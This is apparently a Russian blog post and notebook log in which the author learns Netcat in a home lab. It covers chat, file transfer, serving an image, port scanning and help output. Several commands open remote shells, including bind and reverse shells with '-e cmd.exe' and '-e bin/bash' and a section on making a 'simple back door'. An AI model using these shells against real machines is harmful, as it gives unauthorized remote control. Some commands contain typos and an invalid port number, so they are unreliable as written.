Изучая Netcat (nc), я попробовал было загрузить для Windows какой-то левый файл, но Comodo заблокировал его, как опасный. Потом я нашел "netcat++" (extended design, new implementation) и решил было, что надо изучать его (он поддерживается). Но, кроме того, обнаружил, что netcat интегрирован в nmap... "Ncat is our modern reinvention of the venerable Netcat (nc) tool released by Hobbit in 1996" и прекрасно документирован ...и видео есть... Установил nmap на w8 и получил ncat в довесок
socat - Multipurpose relay The basics of working with Netcat - Part 1 ploaded on Sep 11, 2011
A quick tutorial of how to set up a two way connection with Netcat in order to have a text chat as well as transfer text files.
socat Mar 2014 socat - Multipurpose relay (SOcket CAT)
Download Socat for Windows
How To Use Netcat to Establish and Test TCP and UDP Connections on a VPS
NetCat Examples
nc(1) - Linux man page
The basics of working with Netcat - Part 2
Ncat Users' Guide
NetCat for Windows Tutorial 1 - Creating a Simple Back Door
NetCat for Windows Tutorial 2 - Super Fast Port Scanner
Далее повторяем примеры из видеороликов¶
Первый видеоролик - это тот, который выше, а справа от него среди ссылок - Part 2... и ссылки ниже. Мои комментарии к примкерам между блоками кода.
1. Посмотрели, какие у нас IP адреса¶
Запоминаем, в Linux - IFconfig, а в Windows IPconfig (netstat, netsh...)¶
!ifconfig
2. Прослушивае порт 6000¶
-l, --listen Listen mode, for inbound connects
-p, --port=PORT Local port
-v Increase program verbosity
!nc -lvp 6000
!echo -e "Hi, You have connected to Netcat server" | nc localhost -lpv 6000
Здесь (Ipython Notebook) эти приеры не работают, зато в двух консолях все прекрасно, вот фрагмент внизу:¶
# Сначала открываем первое окно консоли
~# nc -lvp 6000
nc: listening on :: 6000 ...
nc: listening on 0.0.0.0 6000 ...
nc: connect to ::1 6000 from localhost (::1) 44756 [44756]
# После того, как открыта вторая консоль можно организовать чат
Hi # Получаем
Good day
But now I can see youre answers # Получаем
That is great
# Вторая консоль передает и принимает из первой текст
~#nc localhost 6000
# Печатаем и нажимаем на Enter
Hi # Отправляем
Good day # Получаем
But now I can see youre answers
That is great # Получаем
Теперь можно перекачивать файлы (не только между консолями в одном компьютере), но и между компьютерами с разными IP¶
# В видеоролике консоь в окне "windows"
nc -lvp 2222 > fileshare.txt
# И другая консоль в окне Kali
nc 192.161.1.15 2222 < fromfile.txt
В одном компьютере есть файл fromfile.txt, Netcat считывает данные из него передает в слушающий Netcat на другой машине, а тот тут же выводит его в файл fileshare.txt
Напоминаю, что новый файл можно создать (командой, командой, которую я почти забыл):
touch fileshare.txt
Во втором видеоролике¶
# Мы в окне Windows запускаем слушателя, котрый при перехвате потока должен открыть новое окно консоли
nc -nlv 77777 -e cmd.exe
# Теперь, если запустить в окне Kali Netcat
nc 192.168.1.15 77777
В видеоролике окно cmd не открылось, но в окне Windows появилась строка пути... что не очень понятно, автор как-то быстро перескочил на следующий вариант, надо бы попробовать воспроизвести этот пример (пока лень ставить VM Kali на W8, я сейчас лучше включу Debian Kali и в локалке будет две невиртуальных машины..., решение не бесспорное, но так я учусь... "щупаю" реальну юсеть )...
Второй пример второго видеоролика¶
# Теперь на машине Windows запускается прослушка без опции -e
nc -nlv 77777
# А в окне Kali задаем соединение с условием (-e) запуска консоли bash
nc -nv 192.168.1.15 77777 -e bin/bash
После соединения в окно Windows cmd транслируется команды и результвты работы bash. (3:31 секунад видеоролика) Смотрится впечатляяюще. Можно ходить по дереву файлов. Интересно, а на выполнение их тоже можно запускать?
Третий пример второго видеоролика¶
# На машине Kali запускаем прослушку, которая вернет картинку
@kali:~/Desktop# nc -lvp 80 < hyundai-logo.jpg
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
Теперь на той же машине открываем обычный браузер в строке адреса набираем:
127.0.0.1 # или IP машины ....192.168.1.51 ?
После того, как в браузере появится картинка, в консоли добавятся строки
@kali:~/Desktop# nc -lvp 80 < hyundai-logo.jpg
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
nc: connect to 127.0.0.1 80 from localhost (127.0.0.1) 48978 [48978]
GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140611 Firefox/24.0 Iceweasel/24.6.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
nc ведет себя так же нахально, как http сервер. Первое, что я сделал, окрыл headers в браузере... и не обнаружил там Response... Действительно, посредством сокета устаналивается соединение между портами, транспортному протоколу больше ничего и не надо. У него главная проблема - это порты и переговоры по поводу длины пакетов и контроля получения. в Wireshark процесс передачи данных отражается в виде заголовка TCP
Transmission Control Protocol, Src Port: 59534 (59534), Dst Port: cognex-dataman (44444), Seq: 7, Ack: 1, Len: 19
А к этому заголовку прилагается просто данные (в которые не инкапсулированы страницы с HTTP заголовками).
Кстати, в WireShark есть специальная опция по сборке HTTP страниц из нескольких TCP пакетов...
И браузеры делают тоже самое. ...Но если вообще нет заголовков HTTP, то браузерам приходится туго (только картинки могут читать..., как в примере с hyundai-logo.jpg)
Вот так выглядят данные, пристегнутые к заголоку TCP (это строка текста This is fantastic...)
Data (19 bytes)
54:68:69:73:20:69:73:20:66:61:6e:74:61:63:74:69:73:0d:0a
Из третьего видеоролика: NetCat for Windows Tutorial 1 - Creating a Simple Back Door¶
# на одной (атакуемой) машине слушаем порт
nc -l -p 53333 -e cmd.exe
# на другой запускаем netcat
nc 192,168.1.15 53333
# и в этом же окне транслируются команды консоли из первой (атакуемой) машины
Потом автор ролика создал папку в атакуемой машине, бэкдор, однако...
!nc -vv -n -z -w1 192.168.1.15 1-10
#-v Increase program verbosity (-vv call twice for max verbosity)
#-n Numeric-only IP addresses, no DNS
#-z Don't send any data (scan mode)
#-w, --timeout=SECONDS Timeout for connects/accepts (w1 - 1 second timeout)
Пока не хочу разбирать, что значит "Servname not supported for ai_socktype" ... Но в дальнейшем, наверное, такая необходимость возниктет. Потому здесь распечатаем help файлы.
Справочные здесь файлы не помешают¶
!ifconfig -h
kiss@kali:~# help echo
echo: echo [-neE] [arg ...]
Write arguments to the standard output.
Display the ARGs on the standard output followed by a newline.
Options:
-n do not append a newline
-e enable interpretation of the following backslash escapes
-E explicitly suppress interpretation of backslash escapes
`echo' interprets the following backslash-escaped characters:
\a alert (bell)
\b backspace
\c suppress further output
\e escape character
\f form feed
\n new line
\r carriage return
\t horizontal tab
\v vertical tab
\\ backslash
\0nnn the character whose ASCII code is NNN (octal). NNN can be
0 to 3 octal digits
\xHH the eight-bit character whose value is HH (hexadecimal). HH
can be one or two hex digits
Exit Status:
Returns success unless a write error occurs.
!netcat -h # this is the same as "!nc -h"
!ncat -h # from nmap.org
!socat -h
Посты чуть ниже также могут вас заинтересовать
Комментариев нет:
Отправить комментарий